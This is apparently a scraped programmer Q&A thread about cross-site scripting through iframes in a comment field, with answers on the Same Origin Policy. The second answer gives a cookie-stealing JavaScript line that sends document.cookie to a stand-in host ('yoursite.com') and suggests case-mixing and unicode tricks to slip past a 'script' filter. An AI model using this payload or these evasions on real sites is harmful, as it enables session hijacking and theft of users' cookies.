Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

cross site scripting with Iframe

I am experimenting with cross site scripting. I have a website which allows users to insert comments and view them on the website. The website filters the string "script" though from the comment but it allows iframes. I understand that I could embed an iframe that points to a website that I craft and I can run whatever script I wish. My question is: will my iframe script be able to read cookies initiated by the original website? I have tried alert(document.cookie) but it shows an alert with nothing in it. The original website always sets a cookie though when a client requests it. Any idea what I am missing?

like image 237
Keeto Avatar asked Nov 28 '11 03:11

Keeto


People also ask

What is iframe in XSS?

An iframe is a HTML webpage that is embedded inside another webpage on a website, allowing for the inclusion of content from external sources, such as advertising, on webpages.

What is difference between cross-site scripting and cross-frame scripting?

Cross-site Scripting can best be thought of as “Forced JavaScript Execution”. The attacker either stores or reflects malicious JavaScript on a vulnerable website, which is then executed by the victim. Cross-frame Scripting is best conceptualized as “Data Leakage Through Frame Embed”.

Why is iframes security risk?

iframe injection is a very common cross-site scripting attack. iframes use multiple tags to display HTML documents on web pages and redirect users to different web addresses. This behavior allows 3rd parties to inject malicious executables, viruses, or worms into your application and execute them in user's devices.

What is cross-site scripting example?

Examples of reflected cross-site scripting attacks include when an attacker stores malicious script in the data sent from a website's search or contact form. A typical example of reflected cross-site scripting is a search form, where visitors sends their search query to the server, and only they see the result.


2 Answers

Both the surrounding page need to come from the same domain. This is limited by the Same Origin Policy, which states that a script in one frame may only access data in another frame given they are on the same protocol, have the exact same domain name and are running on the same port. It can be slightly relaxed by setting document.domain to the top level domain in both frames, and thus allowing frames from subdomain to communicate.

You could though try to input , though that may be blocked in newer browsers.

Limiting script is however not enough to stop XSS. There are many many other ways. See http://html5sec.org and http://ha.ckers.org/xss.html

like image 183
Erlend Avatar answered Oct 13 '22 20:10

Erlend


You made it sound like you are trying to use the cookie as a payload for the XSS?

Are you in fact trying to steal the cookie?

But if the site is allowing you to insert comments and only removing "script" then you have a bunch of alternatives for inserting XSS including coookie stealing script.

Try this

javascript:img=new Image();img.src="http://yoursite.com?cookie="+document.cookie;

but you want to encode the word script so you can instead you can try

ScRiPt

or unicode 73 63 72 69 70 74

like image 40
user3224677 Avatar answered Oct 13 '22 20:10

user3224677